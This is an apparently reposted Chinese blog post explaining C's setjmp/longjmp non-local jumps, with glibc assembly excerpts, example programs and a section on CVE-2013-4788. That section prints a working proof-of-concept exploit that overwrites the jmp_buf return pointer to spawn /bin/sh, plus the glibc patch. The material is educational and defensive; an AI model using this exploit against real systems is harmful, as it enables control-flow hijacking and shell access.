zoukankan      html  css  js  c++  java
  • setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

    目录

    1. 应用场景
    2. Use Case Code Analysis
    3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

    1. 应用场景

    非局部跳转通常被用于实现将程序控制流转移到错误处理模块中;或者是通过这种非正常的函数返回机制,返回到之前调用的函数中

    1. setjmp、longjmp的典型用途是异常处理机制的实现:利用longjmp恢复程序或线程的状态,甚至可以跳过栈中多层的函数调用
    
    2. 在信号处理机制中,进程在检查收到的信号,会从原来的系统调用中直接返回,而不是等到该调用完成。这种进程突然改变其上下文的情况,就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间,并继续在旧的上下文中继续执行。这就是说,进程执行一个系统调用,当因为资源或其他原因要去睡眠时,内核为进程作了一次setjmp,如果在睡眠中被信号唤醒,进程不能再进入睡眠时,内核为进程调用longjmp,该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文,这样就使得进程可以恢复等待资源前的状态,而且内核为setjmp返回1,使得进程知道该次系统调用失败 
    
    3. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数
    
    4. C语言中有一个goto语句,其可以结合标号实现函数内部的任意跳转(但是在大多数情况下,都建议不要使用goto语句,因为采用goto语句后,代码维护工作量加大,而且使得代码的结构性变得很差)。另外,C语言标准中还提供一种非局部跳转"no-local goto",其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

    0x1: 非局部跳转(no-local goto)实现原理

    C语言的运行控制模型,是一个基于"栈结构"的"指令执行序列",表现出来就是call/return: call调用一个函数,然后return从一个函数返回。在这种运行控制模型中,每个函数调用都会对应着一个栈帧,其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时,系统会创建一个对应的栈帧压入栈中,而从一个函数返回时,则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回

    另外,系统内部有一些寄存器记录着当前系统的状态信息,其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段,数据段等等)。这些寄存器指示了当前程序运行点的系统状态,可以称为程序点
    在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中,然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复,此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是,相当控制流跳过了中间的若干个函数调用对应的栈帧,到达setjmp所在那个函数的栈帧
    这就是非局部跳转的实现机制,其不同于上面所说的call/return跳转机制

    正是因为这种实现机制,需要特别注意的是:"包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话,该函数对应的栈帧也已经从系统栈中退出,于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时,就不再是setjmp()宏调用所在程序点。此时,调用函数longjmp()就会出现不可预测的错误

    Relevant Link:

    http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
    https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

    2. Use Case Code Analysis

    1. 非局部跳转setjmp()
    头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径,特别的,它允许立即从一个多层嵌套的函数调用中返回
    /*
    #include <setjmp.h>
    int setjmp(jmp_buf env);
    */
        1) setjmp()宏把当前状态信息保存到env中,供以后longjmp()恢复状态信息时使用
            1.1) 如果是直接调用setjmp(),那么返回值为0
            1.2) 如果是由于调用longjmp()而调用setjmp(),那么返回值非0
        2) setjmp()只能在某些特定情况下调用,如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中
    
    2. 非局部跳转longjmp()
        1) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时,程序就象setjmp()刚刚执行完并返回非0值val那样继续执行
        2) 值得注意的是,包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了,那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了,程序返回到一个不再存在的执行点,很可能覆盖或者弄坏程序栈
        3) 所有可访问的对象的值都与调用longjmp()时相同,唯一的例外是,那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变,那么就变成未定义的
    /*
    #include <setjmp.h>
    void longjmp(jmp_buf env, int val);
    */

    0x1: jmp_buf

    jmp_buf是setjmp.h中定义的一个结构类型,其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中,而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复,于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能

    glibc-2.18setjmpsetjmp.h

    /*
    Calling environment, plus possibly a saved signal mask.  
    */
    struct __jmp_buf_tag
    {
        /* 
        NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.  
        Do not move these members or add others before it.  
        */
        __jmp_buf __jmpbuf;        /* Calling environment.  */
        int __mask_was_saved;        /* Saved the signal mask */
        __sigset_t __saved_mask;    /* Saved signal mask.    */
    };
    
    __BEGIN_NAMESPACE_STD
    
    typedef struct __jmp_buf_tag jmp_buf[1];

    将jmp_buf定义为一个数组,那么可以将数据分配在栈上,但是作为参数传递的时候传的是一个指针

    0x2: setjmp

    创建本地的jmp_buf缓冲区并且初始化,用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区,env将被longjmp使用。如果是从setjmp直接调用返回

    glibc-2.18portssysdepsaarch64setjmp.S

    /* Keep traditional entry points in with sigsetjmp(). */
    ENTRY (setjmp)
        mov    x1, #1
        b    1f
    END (setjmp)
    
    ENTRY (_setjmp)
        mov    x1, #0
        b    1f
    END (_setjmp)
    libc_hidden_def (_setjmp)
    
    ENTRY (__sigsetjmp)
    
    1:
        stp    x19, x20, [x0, #JB_X19<<3]
        stp    x21, x22, [x0, #JB_X21<<3]
        stp    x23, x24, [x0, #JB_X23<<3]
        stp    x25, x26, [x0, #JB_X25<<3]
        stp    x27, x28, [x0, #JB_X27<<3]
        stp    x29, x30, [x0, #JB_X29<<3]
        stp     d8,  d9, [x0, #JB_D8<<3]
        stp    d10, d11, [x0, #JB_D10<<3]
        stp    d12, d13, [x0, #JB_D12<<3]
        stp    d14, d15, [x0, #JB_D14<<3]
        mov    x2,  sp
        str    x2,  [x0, #JB_SP<<3]
    #if defined NOT_IN_libc && defined IS_IN_rtld
        /* In ld.so we never save the signal mask */
        mov    w0, #0
        RET
    #else
        b    C_SYMBOL_NAME(__sigjmp_save)
    #endif
    END (__sigsetjmp)
    hidden_def (__sigsetjmp)

    code

    /* setjmp example: error handling */
    #include <stdio.h>      /* printf, scanf */
    #include <stdlib.h>     /* exit */
    #include <setjmp.h>     /* jmp_buf, setjmp, longjmp */
    
    main()
    {
        jmp_buf env;
        int val;
        
        /*
        setjmp会多次返回
        setjmp return value
        1. 正常调用(保存当前call的env): 返回0
        2. 调用longjmp返回: 取决于longjmp的第二个参数
            1) longjmp的第二个参数为非0: setjmp返回同样的值
            2) longjmp的第二个参数为0: setjmp返回1
        */
        val = setjmp (env);
        if (val) 
        {
            fprintf (stderr,"Error %d happened
    ",val);
            exit (val);
        }
        
        printf("Calling function.
    ");  
        longjmp (env,101);   /* signaling an error */
    
        return 0;
    }

    0x3: longjmp

    恢复env所指的缓冲区中的程序调用环境上下文,env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后,程序从对应的setjmp调用处继续执行,如同setjmp调用刚刚完成

    glibc-2.18sysdepsx86_64\__longjmp.S

    /* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
    .text
    ENTRY(__longjmp)
        /* Restore registers.  */
        mov (JB_RSP*8)(%rdi),%R8_LP
        mov (JB_RBP*8)(%rdi),%R9_LP
        mov (JB_PC*8)(%rdi),%RDX_LP
    #ifdef PTR_DEMANGLE
        PTR_DEMANGLE (%R8_LP)
        PTR_DEMANGLE (%R9_LP)
        PTR_DEMANGLE (%RDX_LP)
    # ifdef __ILP32__
        /* We ignored the high bits of the %rbp value because only the low
           bits are mangled.  But we cannot presume that %rbp is being used
           as a pointer and truncate it, so recover the high bits.  */
        movl (JB_RBP*8 + 4)(%rdi), %eax
        shlq $32, %rax
        orq %rax, %r9
    # endif
    #endif
        LIBC_PROBE (longjmp, 3, LP_SIZE@%RDI_LP, -4@%esi, LP_SIZE@%RDX_LP)
        /* We add unwind information for the target here.  */
        cfi_def_cfa(%rdi, 0)
        cfi_register(%rsp,%r8)
        cfi_register(%rbp,%r9)
        cfi_register(%rip,%rdx)
        cfi_offset(%rbx,JB_RBX*8)
        cfi_offset(%r12,JB_R12*8)
        cfi_offset(%r13,JB_R13*8)
        cfi_offset(%r14,JB_R14*8)
        cfi_offset(%r15,JB_R15*8)
        movq (JB_RBX*8)(%rdi),%rbx
        movq (JB_R12*8)(%rdi),%r12
        movq (JB_R13*8)(%rdi),%r13
        movq (JB_R14*8)(%rdi),%r14
        movq (JB_R15*8)(%rdi),%r15
        /* Set return value for setjmp.  */
        mov %esi, %eax
        mov %R8_LP,%RSP_LP
        movq %r9,%rbp
        LIBC_PROBE (longjmp_target, 3,
                LP_SIZE@%RDI_LP, -4@%eax, LP_SIZE@%RDX_LP)
        jmpq *%rdx
    END (__longjmp)

    code

    /* longjmp example */
    #include <stdio.h>      /* printf */
    #include <setjmp.h>     /* jmp_buf, setjmp, longjmp */
    
    main()
    {
        jmp_buf env;
        int val;
    
        val=setjmp(env);
    
        printf ("val is %d
    ",val);
    
        if (!val) longjmp(env, 1);
    
        return 0;
    }

    Relevant Link:

    http://my.oschina.net/onethin/blog/27793
    https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
    http://www.cplusplus.com/reference/csetjmp/setjmp/
    http://www.cplusplus.com/reference/csetjmp/longjmp/
    http://zh.wikipedia.org/wiki/Setjmp.h
    http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
    http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

    3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

    0x1: poc

    CVE(CAN) ID: CVE-2013-4788
    glibc是绝大多数Linux操作系统中C库的实现。
    glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码

    /*
     * $FILE: bug-mangle.c
     *
     * Comment: Proof of concept for glibc versions <= 2.17
     *
     * $VERSION$
     *
     * Author: Hector Marco <hecmargi@upv.es>
     *         Ismael Ripoll <iripoll@disca.upv.es>
     *
     * $LICENSE:  
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
     */
    
    #include <stdio.h>
    #include <setjmp.h>
    #include <stdint.h>
    #include <limits.h>
    
    #ifdef __i386__
       #define ROTATE 0x9
       #define PC_ENV_OFFSET 0x14
    #elif __x86_64__
       #define ROTATE 0x11
       #define PC_ENV_OFFSET 0x38
    #elif __arm__
       #define ROTATE 0x0
       #define PC_ENV_OFFSET 0x24
    #else
       #error The exploit does not support this architecture
    #endif
    
    unsigned long rol(uintptr_t value)
    {
       // return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
        unsigned long ret;
        asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value));
        return ret;
    }
    
    int hacked()
    {
       printf("[+] hacked !!
    ");
       system("/bin/sh");
    }
    
    int main(void)
    {
       //jmp_buf用于保存恢复调用环境所需的信息
       jmp_buf env;
       uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);
    
       printf("[+] Exploiting ...
    ");
       if(setjmp(env) == 1)
       {
          printf("[-] Exploit failed.
    ");
          return 0;
       }
    
       /*Overwrite env return address */
       *ptr_ret_env = rol((uintptr_t)hacked);
    
       longjmp(env, 1);
    
       printf("[-] Exploit failed.
    ");
       return 0;
    }

    简单来说,就是通过覆盖jmp_buf中和返回地址有关的指针,来达到劫持CPU控制流的目的

    0x2: pathc

    diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
    --- glibc-2.17/csu/libc-start.c    2012-12-25 04:02:13.000000000 +0100
    +++ glibc-2.17-mangle-fix/csu/libc-start.c    2013-07-10 00:13:48.000000000 +0200
    @@ -38,6 +38,12 @@ extern void __pthread_initialize_minimal
        in thread local area.  */
     uintptr_t __stack_chk_guard attribute_relro;
     # endif
    +
    +# ifndef  THREAD_SET_POINTER_GUARD
    +uintptr_t __pointer_chk_guard_local
    +     attribute_relro attribute_hidden __attribute__ ((nocommon));
    +# endif
    +
     #endif
     
     #ifdef HAVE_PTR_NTHREADS
    @@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char
     # else
       __stack_chk_guard = stack_chk_guard;
     # endif
    +    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
    +                          stack_chk_guard);
    +# ifdef THREAD_SET_POINTER_GUARD
    +      THREAD_SET_POINTER_GUARD (pointer_chk_guard);
    +# else
    +      __pointer_chk_guard_local = pointer_chk_guard;
    +# endif
    +
     #endif
     
       /* Register the destructor of the dynamic linker if there is any.  */

    Relevant Link:

    http://www.mra.net.cn/thread-17257-1-1.html
    http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
    http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
    http://sebug.net/vuldb/ssvid-82213

    Copyright (c) 2014 LittleHann All rights reserved

  • 相关阅读:
    Power BI 根据用户权限动态生成导航跳转目标
    Power BI Tooltips 增强功能
    Power BI refresh error “could not load file or assembly…provided impersonation level is invalid”
    SQL 错误代码 18456
    如何使用SQL Server Integration Services从多个Excel文件读取数据
    通过表格编辑器将现有表引入Power BI数据流
    Power BI 中动态增长的柱状图
    ambari2.7.3离线安装hdp3.1.0时,ambari-hdp-1.repo中baseurl无值
    ambari 安装 cannot download file mysql-connector-java from http://8080/resource/mysql-connector-java.jar
    洛谷P4180 [BJWC2010]严格次小生成树
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4339745.html
Copyright © 2011-2022 走看看